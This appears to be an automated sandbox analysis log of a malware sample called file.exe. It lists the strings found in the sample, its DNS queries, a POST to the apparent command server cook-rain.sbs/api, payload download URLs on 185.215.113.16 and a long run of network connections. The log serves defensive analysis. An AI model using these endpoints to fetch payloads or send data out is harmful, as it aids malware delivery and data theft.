Source: chromecache_89.6.dr, chromecache_101.6.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.facebook.com (Facebook)
Source: chromecache_89.6.dr, chromecache_101.6.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.linkedin.com (Linkedin)
Source: chromecache_89.6.dr, chromecache_101.6.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.twitter.com (Twitter)

Source: global traffic	DNS traffic detected: DNS query: cook-rain.sbs
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: mdec.nelreports.net

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: cook-rain.sbs

Source: file.exe, 00000000.00000003.1900969061.000000000169A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: file.exe, 00000000.00000003.1900646242.00000000016EE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1990223648.00000000016A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: file.exe, 00000000.00000003.1900646242.00000000016EE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1990223648.00000000016A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exed4f
Source: file.exe, 00000000.00000002.1989844149.000000000128A000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exepleWebKit/537.36
Source: file.exe, 00000000.00000003.1900466821.0000000001701000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1990223648.00000000016A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe~81
Source: file.exe, 00000000.00000003.1900646242.00000000016EE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1990223648.00000000016A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: file.exe, 00000000.00000003.1900646242.00000000016EE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1990223648.00000000016A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exep
Source: file.exe, 00000000.00000003.1747495747.0000000005C12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.1747495747.0000000005C12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: file.exe, 00000000.00000003.1900646242.00000000016EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microH
Source: file.exe, 00000000.00000003.1747495747.0000000005C12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.1747495747.0000000005C12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.1747495747.0000000005C12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.1747495747.0000000005C12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.1747495747.0000000005C12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: file.exe, 00000000.00000003.1747495747.0000000005C12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.1747495747.0000000005C12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: chromecache_89.6.dr, chromecache_101.6.dr	String found in binary or memory: http://polymer.github.io/AUTHORS.txt
Source: chromecache_89.6.dr, chromecache_101.6.dr	String found in binary or memory: http://polymer.github.io/CONTRIBUTORS.txt
Source: chromecache_89.6.dr, chromecache_101.6.dr	String found in binary or memory: http://polymer.github.io/LICENSE.txt
Source: chromecache_89.6.dr, chromecache_101.6.dr	String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: chromecache_109.6.dr	String found in binary or memory: http://schema.org/Organization
Source: file.exe, 00000000.00000003.1747495747.0000000005C12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.1747495747.0000000005C12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: file.exe, 00000000.00000003.1720448769.0000000005C2B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_89.6.dr, chromecache_101.6.dr	String found in binary or memory: https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl
Source: chromecache_89.6.dr, chromecache_101.6.dr	String found in binary or memory: https://aka.ms/certhelp
Source: chromecache_109.6.dr, chromecache_110.6.dr	String found in binary or memory: https://aka.ms/feedback/report?space=61
Source: chromecache_89.6.dr, chromecache_101.6.dr	String found in binary or memory: https://aka.ms/msignite_docs_banner
Source: chromecache_89.6.dr, chromecache_101.6.dr	String found in binary or memory: https://aka.ms/pshelpmechoose
Source: chromecache_109.6.dr	String found in binary or memory: https://aka.ms/yourcaliforniaprivacychoices
Source: chromecache_109.6.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725
Source: chromecache_109.6.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf
Source: chromecache_89.6.dr, chromecache_101.6.dr	String found in binary or memory: https://aznb-ame-prod.azureedge.net/component/$
Source: file.exe, 00000000.00000003.1771389591.000000000171A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: file.exe, 00000000.00000003.1771389591.000000000171A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: file.exe, 00000000.00000003.1720448769.0000000005C2B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.1720448769.0000000005C2B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.1720448769.0000000005C2B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chromecache_89.6.dr, chromecache_101.6.dr	String found in binary or memory: https://channel9.msdn.com/
Source: chromecache_89.6.dr, chromecache_101.6.dr	String found in binary or memory: https://client-api.arkoselabs.com/v2/api.js
Source: file.exe, 00000000.00000003.1771389591.000000000171A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: file.exe, 00000000.00000003.1771389591.000000000171A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000003.1774333796.0000000001705000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1774313247.0000000001701000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.Xr
Source: file.exe, 00000000.00000003.1837436281.000000000171C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1774293130.000000000170E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1774937643.0000000001713000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1837526744.000000000171D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/
Source: file.exe, 00000000.00000003.1900706448.000000000171C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1901081348.000000000171D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/NF
Source: file.exe, file.exe, 00000000.00000003.1837504310.00000000016FC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1900646242.00000000016FD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794661308.000000000171C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1900706448.000000000171C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794467168.000000000171C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1837436281.000000000171C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1719825392.0000000001701000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1784839364.00000000016FC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1837526744.000000000171D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1901081348.000000000171D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/api
Source: file.exe, 00000000.00000003.1774937643.000000000171C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1784604379.000000000171C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794661308.000000000171C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794467168.000000000171C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1771389591.000000000171A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1837436281.000000000171C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1837526744.000000000171D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/api%F
Source: file.exe, 00000000.00000003.1837504310.00000000016FC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1900646242.00000000016FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/apiJ
Source: file.exe, 00000000.00000003.1746567443.000000000171A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/apirG
Source: file.exe, 00000000.00000003.1784604379.000000000171C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/apiwF
Source: file.exe, 00000000.00000003.1774937643.000000000171C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1784604379.000000000171C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1771389591.000000000171A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/e48
Source: file.exe, 00000000.00000003.1746567443.000000000171A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1747058173.000000000171C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/t_stat
Source: file.exe, 00000000.00000003.1720448769.0000000005C2B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.1720448769.0000000005C2B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.1720448769.0000000005C2B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chromecache_109.6.dr	String found in binary or memory: https://github.com/Thraka
Source: chromecache_109.6.dr	String found in binary or memory: https://github.com/Youssef1313
Source: chromecache_109.6.dr	String found in binary or memory: https://github.com/adegeo
Source: chromecache_109.6.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/
Source: chromecache_109.6.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md
Source: chromecache_109.6.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md
Source: chromecache_109.6.dr	String found in binary or memory: https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml
Source: chromecache_89.6.dr, chromecache_101.6.dr	String found in binary or memory: https://github.com/dotnet/try
Source: chromecache_109.6.dr	String found in binary or memory: https://github.com/gewarren
Source: chromecache_89.6.dr, chromecache_101.6.dr	String found in binary or memory: https://github.com/jonschlinkert/is-plain-object
Source: chromecache_89.6.dr, chromecache_101.6.dr	String found in binary or memory: https://github.com/js-cookie/js-cookie
Source: chromecache_109.6.dr	String found in binary or memory: https://github.com/mairaw
Source: chromecache_109.6.dr	String found in binary or memory: https://github.com/nschonni
Source: file.exe, 00000000.00000003.1771389591.000000000171A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: chromecache_109.6.dr	String found in binary or memory: https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Source: chromecache_89.6.dr, chromecache_101.6.dr	String found in binary or memory: https://learn-video.azurefd.net/vod/player
Source: chromecache_89.6.dr, chromecache_101.6.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev
Source: chromecache_89.6.dr, chromecache_101.6.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0
Source: chromecache_89.6.dr, chromecache_101.6.dr	String found in binary or memory: https://management.azure.com/subscriptions?api-version=2016-06-01
Source: chromecache_89.6.dr, chromecache_101.6.dr	String found in binary or memory: https://octokit.github.io/rest.js/#throttling
Source: chromecache_101.6.dr	String found in binary or memory: https://schema.org
Source: file.exe, 00000000.00000003.1720163814.0000000005C42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: file.exe, 00000000.00000003.1748469415.0000000005D0B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: file.exe, 00000000.00000003.1748469415.0000000005D0B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: file.exe, 00000000.00000003.1720163814.0000000005C40000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1720243967.0000000005C39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: file.exe, 00000000.00000003.1720243967.0000000005C14000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: file.exe, 00000000.00000003.1720163814.0000000005C40000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1720243967.0000000005C39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: file.exe, 00000000.00000003.1720243967.0000000005C14000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: chromecache_89.6.dr, chromecache_101.6.dr	String found in binary or memory: https://twitter.com/intent/tweet?original_referer=$
Source: chromecache_89.6.dr, chromecache_101.6.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05
Source: chromecache_101.6.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9
Source: file.exe, 00000000.00000003.1771389591.000000000171A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: file.exe, 00000000.00000003.1720448769.0000000005C2B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000003.1771389591.000000000171A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: file.exe, 00000000.00000003.1720448769.0000000005C2B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chromecache_89.6.dr, chromecache_101.6.dr	String found in binary or memory: https://www.linkedin.com/cws/share?url=$
Source: file.exe, 00000000.00000003.1748469415.0000000005D0B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: file.exe, 00000000.00000003.1748469415.0000000005D0B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: file.exe, 00000000.00000003.1748469415.0000000005D0B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: file.exe, 00000000.00000003.1748469415.0000000005D0B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.1748469415.0000000005D0B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
